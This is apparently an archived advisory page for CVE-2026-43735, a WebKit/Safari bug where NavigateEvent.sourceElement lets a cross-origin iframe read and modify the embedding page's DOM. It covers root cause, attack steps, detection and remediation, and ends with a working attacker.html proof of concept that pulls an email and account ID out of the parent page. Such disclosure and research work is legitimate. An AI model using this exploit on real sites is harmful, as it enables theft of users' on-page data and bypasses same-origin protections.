PoC Archive PoC Archive
High CVE-2026-43735 unpatched

WebKit Navigation API `NavigateEvent.sourceElement` Cross-Origin DOM Leak (CVE-2026-43735)

by dem0ns · 2026-07-05

Severity
High
CVE
CVE-2026-43735
Category
web
Affected product
WebKit / Safari (Navigation API — NavigateEvent.sourceElement)
Affected versions
Safari < 26.5.2
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherdem0ns
CVE / AdvisoryCVE-2026-43735
Categoryweb
SeverityHigh
CVSS ScoreN/A (not published in source repository)
StatusPoC
Tagswebkit, safari, navigation-api, navigateevent, cross-origin, information-disclosure, dom-access, same-origin-policy-bypass, iframe
RelatedCVE-2026-43700

Affected Target

FieldValue
Software / SystemWebKit / Safari (Navigation API — NavigateEvent.sourceElement)
Versions AffectedSafari < 26.5.2
Language / PlatformHTML / JavaScript (parent page + cross-origin iframe pair)
Authentication RequiredNo
Network Access RequiredYes (victim must load a page that embeds an attacker-controlled cross-origin iframe)

Summary

CVE-2026-43735 is a WebKit Navigation API bug where, when a parent page uses a named <a target="iframeName"> link to trigger a fragment navigation inside a cross-origin <iframe>, the NavigateEvent.sourceElement delivered to the iframe’s navigate event listener is the parent page’s own <a> element rather than being nulled out for cross-origin navigations. Because sourceElement.ownerDocument is the entire parent document, the cross-origin iframe can read and modify the parent page’s DOM (and even inject/execute script in the parent’s origin), fully bypassing the same-origin policy.


Vulnerability Details

Root Cause

In Navigation::innerDispatchNavigateEvent, WebKit did not perform an origin check before attaching a sourceElement to the dispatched NavigateEvent when the navigation was initiated by a target-scoped link click from a different origin (i.e., a parent page navigating a cross-origin iframe it embeds). The event’s sourceElement therefore referenced the actual DOM node (<a>) from the parent document, giving the iframe’s script full access to sourceElement.ownerDocument — the parent document — instead of null.

Attack Vector

  1. Victim (origin A) page embeds an attacker’s iframe (origin B) and defines a link <a target="targetFrame" href=".../#updated"> pointing to the iframe.
  2. The iframe (origin B) registers a navigate event listener via the Navigation API and signals readiness to the parent via postMessage.
  3. The parent page programmatically clicks the link, causing a fragment navigation (#updated) inside the cross-origin iframe.
  4. The iframe’s navigate event handler receives a NavigateEvent whose event.sourceElement is the parent’s <a> element (vulnerable versions) rather than null.
  5. The iframe reads sourceElement.ownerDocument.querySelector(...) to exfiltrate parent-page DOM content (e.g. account email, account ID) and can equally mutate the parent DOM or inject a <script> element to execute arbitrary JavaScript in the parent’s origin.

Impact

A cross-origin iframe can read and modify the embedding page’s DOM and execute script in the embedding page’s origin — a full same-origin-policy bypass. This can lead to theft of sensitive on-page data (PII, account identifiers, tokens rendered in the DOM), UI/DOM manipulation for phishing, or session/account takeover if combined with further script injection into the parent origin.


Environment / Lab Setup

Target:   Safari / WebKit < 26.5.2
Attacker: Cross-origin iframe host (attacker.html) embedded by a victim page (victim.html)

Proof of Concept

PoC Script

See victim.html (parent/victim page) and attacker.html (cross-origin iframe) in this folder.

victim.html renders a fake account panel (#profile-email, #account-panel[data-account-id]) and clicks a link that navigates the embedded cross-origin iframe. attacker.html’s navigate event handler inspects event.sourceElement; on vulnerable builds it successfully reads alice@example.test / ACCOUNT_314159 out of the parent document and reports [LEAK] ... back via postMessage. On patched builds (>= 26.5.2) sourceElement is null and the page reports [PATCHED].


Detection & Indicators of Compromise

Signs of compromise:

  • Third-party embedded iframes exfiltrating data that should only be available to the embedding page’s own origin.
  • Unexpected DOM mutations or injected <script> elements in a page originating from an embedded cross-origin iframe’s Navigation API handler.

Remediation

ActionDetail
Primary fixUpdate Safari/WebKit to >= 26.5.2, which adds a same-origin check in Navigation::innerDispatchNavigateEvent before setting sourceElement, nulling it for cross-origin navigations
Interim mitigationAvoid embedding untrusted third-party iframes on pages that render sensitive user data in the DOM; use sandbox attributes and strict Content-Security-Policy frame-src/child-src directives to limit what can be embedded

References


Notes

Mirrored from https://github.com/dem0ns/CVE-2026-43735 on 2026-07-05.

attacker.html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!doctype html>
<html lang="en">
<head><meta charset="utf-8"><title>frame (malicious, origin B)</title></head>
<body>
<h3>跨域 iframe (恶意网站, origin B)</h3>
<pre id="out"></pre>
<script>
const out = document.getElementById("out");
const log = m => { out.textContent += m + "\n"; };

navigation.addEventListener("navigate", event => {
  if (!event.destination.url.includes("#updated")) return;
  event.preventDefault();
  const source = event.sourceElement;            // 漏洞版: 父页那个 <a>, ownerDocument = 父文档
  let leakedEmail = null, leakedAccountId = null, tagName = null;
  if (source) {
    tagName = source.tagName;
    try { leakedEmail = source.ownerDocument.querySelector("#profile-email").textContent; } catch (e) {}
    try { leakedAccountId = source.ownerDocument.querySelector("#account-panel").dataset.accountId; } catch (e) {}
  }
  log("sourceElement is null? " + (source === null));
  if (source) log("LEAKED email=" + leakedEmail + "  accountId=" + leakedAccountId);
  window.parent.postMessage({
    type: "result",
    sourceElementIsNull: source === null,
    tagName, leakedEmail, leakedAccountId
  }, "*");
});

window.parent.postMessage({ type: "ready" }, "*");
log("ready, waiting for parent to click link...");
</script>
</body>
</html>